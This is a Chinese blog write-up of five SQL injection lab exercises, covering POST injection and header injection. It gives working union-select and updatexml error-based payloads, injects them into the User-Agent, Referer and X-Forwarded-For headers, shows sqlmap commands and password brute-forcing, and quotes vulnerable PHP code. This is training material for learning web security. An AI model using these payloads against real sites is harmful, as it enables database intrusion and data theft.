前言:
POST注入/HEAD注入

这里靶场就五道题,POST注入和HEAD注入也是CTF总能碰到的基础题了,这里就直接一起总结了吧。

1.POST注入

POST:是一种传参方式
注入:用户输入的数据被当做代码进行执行
GET传参和POST传参的区别:数据本身(编码问题 URL编码)

Sqlmap POST注入:

  1. --from 不稳定
  2. -r 指定数据包 可以先抓包存为文档,再用文档跑
  3. 关于闭合: ' " ) 可以自己手动改文档参数从而使Sqlmap可以更好的跑出来。

POST注入的高危点:
登录框&查询框&等各种和数据库有交互的Submit
”超全局的“意味着它们在一个脚本的全部作用域中都是可用的,例如:

$_REQUEST   (获取GET/POST/COOKIE)    # cookie在新版本中已经无法使用了
$_POST   # 获取POST传参
$_GET    # 获取GET传参
$_COOKIE # 获取cookie的值
$_SERVER # 包含了诸如头信息(header),路径(path),
以及脚本位置(script localtions)等信息的数组
$_SERVER['HTTP_REFERER'] # 获取Referer请求头数据
$_SERVER['HTTP_USER_AGENT'] # 获取用户相关的信息,包括用户浏览器,操作系统等信息
$_SERVER['REMOTE_ADDR'] # 浏览器网页的用户IP

Pass-05-手工注入

显示登录框,这里使用

payload: 
1' or 1=1 -- qwe

回显
测试发现是个单引号闭合,构造语句闭合即可,这里先把显位点找出来:
payload:

1' union select 1,version(),database() -- qwe

这里找到库:post_error,现在爆表:

payload:
1' union select 1,2,table_name from information_schema.tables
where table_schema='post_error' -- qwe

回显
这里拿到了flag表,但是为了以防万一,这里使用limit再看看。

limit 0,1  # flag
limit 1,1  # user

先看看flag表吧那就:

payload:
1' union select 1,2,column_name from information_schema.columns
where table_name='flag'  -- qwe

limit 0,1 # Id
limit 1,1 # flag

这里字段有flag,那就直接查一下内容吧:

payload:
1' union select 1,2,flag from flag -- qwe

拿到flag

Pass-06-Sqlmap解法:

先用BurpSuite抓包,然后将Request丢到Sqlmap文件夹下面:
抓包

跑库:1.python sqlmap.py -r file --random-agent --banner --dbs

跑库
数据库

跑表:python sqlmap.py -r file --random-agent --banner -D 
    post_error --tables --banner
    

表

跑字段:python sqlmap.py -r file --random-agent --banner -D 
      post_error -T flag --dump --bannner

拿到flag

Pass-06-手工注入

拿到题目简单测试了下发现是双引号闭合
这里直接暴库:
payload:

") union select 1,2,database() -- qwe

回显
得到post_error库,直接爆表:

payload:
") union select 1,2,table_name from information_schema.tables
where table_schema='post_error' -- qwe

回显
爆出字段:

payload:
")union select 1,2,column_name from information_schema.columns
where table_name='flag' limit 1,1 -- qwe

回显
直接拿到flag:

payload:
")union select 1,2,flag from flag limit 1,1 -- qwe

回显

Pass-06-sqlmap

过程和上面一样的流程,这里直接放图:
flag

2.HEAD注入

HEAD注入 --> 以HEAD传参作为注入方式 ($_SERVER) (PHP接受到请求后的一些默认数据)
127.0.0.1/localhost 抓包是不抓不到的,这里请右转ipconfig。

1.HEAD的传参也有可能被数据库记录或者查询。
2.HEAD告诉网站来访者的一些信息,任何一个访问他都记录,HEAD 只记录用户。
用户登录的时候所记录(User-Agent IP Rrefer)
记录(插入语句/存入) 查询语句 insert(没有回显) 联合查询不能用了
查询必须有结果才有意义

联合查询:没有输出结果就没有法用(必须要有回显)
回显:
1.盲注
2.外带(dns注入)
3.报错注入(让数据执行失败,然后抛出错误)
数据库的报错是和数据库有关,因为开发习惯这么写。网站报错他会属于网站异常。自动跳转等等,数据库错误不一定属于网站异常错误。

任何一种渗透测试的方法都有适用范围,都有局限性

updatexml() //更新XML里面的内容

updatexml(1,写路径,1)

updatexml(需要替换的值,替换的文件在哪里,要替换成什么)

updatexml(1,(select database()),1) // 路径存在特殊符号就会报错

concat(1,2,3,'asd') 字符串拼接

updatexml(1,concat('!',(select database())),1)

1.updatexml在HEAD头注入中的作用
答:updatexml实际上是一个报错注入,因为路径不存在所以报错了。但是因为数据库先执行子查询,所以报错的信息中有查询出来的信息会被报错处理。

2.HEAD头注入原理
答:利用了php的全局变量$_server获取用户的相关信息且将数据存入数据库,利用updatexml函数输入sql语句,返回信息。

3.HEAD注入中的0x7e的作用
答:0x7e为~为拼接作用,有了这个拼接的特殊符号才会报错

Pass-07

部分源码:

$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT'];
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

1.通过源码的分析,我们从输入的数据被过滤掉了,username 和password这两个字段被过滤掉了,没有回显,所以使用不了联合查询。
2.通过分析,uagent 字段没有被过滤,存在与数据库交互的现象,通过 报错注入的方法和' — qwe ,我们对下面这条插入语句进行研究修改。
3.源代码:$Insql = "INSERT INTO uagent (uagent,username) VALUES ('$uagent','$uname')";
4.修改后:$Insql = "INSERT INTO uagent (uagent,username) VALUES ('1',' or updatexml('1',concat('!',(select database())),1),123) -- qwe ')";

所谓Head注入其实也是传参不同,head传参$_SERVER[],要进行Head注入我们需要先了解一个函数updatexml(需要替换的值,替换文件在哪里,要替换成什么),这个函数如果路径存在特殊字符就会将内容报错显示出来。

updataxml第二个参数需要的是Xpath格式的字符串。当输入的不符合。故报错由此报错

抓包
设置爆破点
加载字典
1.开始爆破密码
密码
2.User-Agent中插入sleep(),看看是否有页面延时

3.使用updatexml报错语句,进行测试注入
修改UA头,用updatexml()函数+concat()函数拼接特殊字符,让数据库进行报错。

111' or updatexml(1,concat('~',(select database())),1),123) -- qwe

查出库名
4.继续抓包在UA里注入:

1' and updatexml(1,concat('!',(select table_name from information_schema.tables 
where table_schema='head_error' limit 0,1)),1),123) -- qwe

查出表名
5.同里操作得到字段名:

1' and updatexml(1,concat("!",(select column_name from information_schema.columns 
where table_name='flag_head' limit 1,1)),1),123) -- qwe

字段名

6.查找flag

1' and updatexml(1,concat("!",(select flag_h1 from flag_head limit 0,1)),1),123) -- qwe

拿到flag

Pass-08

这道题大同小异,是单引号闭合,通过源码得知,注入点在Referer,直接开干!
1.爆破账户密码:username:admin password:123456
爆破密码
2.测试注入点(测试发现Referer是注入点)

1' or updatexml(1,concat('~',(select database())),1),123) -- qwe

数据库:head_error
3.爆表

1' and updatexml(1,concat('~',(select table_name from information_schema.tables
where table_schema='head_error')),1),123) -- qwe

表:flag_head
4.爆破字段

1' and updatexml(1,concat('!',(select column_name from information_schema.columns
where table_name='flag_head' limit 1,1)),1),123) -- qwe

字段:Id
这里后续测试发现不对,修改为limit 1,1得到字段:flag_h1
5.flag

1' and updatexml(1,concat('~',(select Id from flag_head limit 0,1)),1),123) -- qwe
1' and updatexml(1,concat('~',(select Id from flag_head limit 1,1)),1),123) -- qwe

假flag

Pass-09

经过一系列测试发现,注入点是XFF(X-Forwarded-For)

X-Forwarded-For: ' or sleep(11),1) -- qwe

1.账户密码简单爆破一下
usename:admin
password:123456
2.暴库

1' or updatexml(1,concat('~',(select database()),1),1),123) -- qwe

head_error
3.爆表

1' or updatexml(1,concat('~',(select table_name from information_schema.tables
where table_schema='head_error')),1),123) -- qwe

flag_head1

4.爆字段

1' or updatexml(1,concat('~',(select column_name from information_schema.columns    
where table_name='flag_head1' limit 0,1)),1),123) -- qwe

5.flag

1' or updatexml(1,concat('~',(select flag_h1 from flag_head limit 2,1)),1),1) -- qwe

flag

最后修改:2022 年 03 月 12 日 11 : 44 PM
如果觉得这篇文章不错,不妨赏我碎银几两。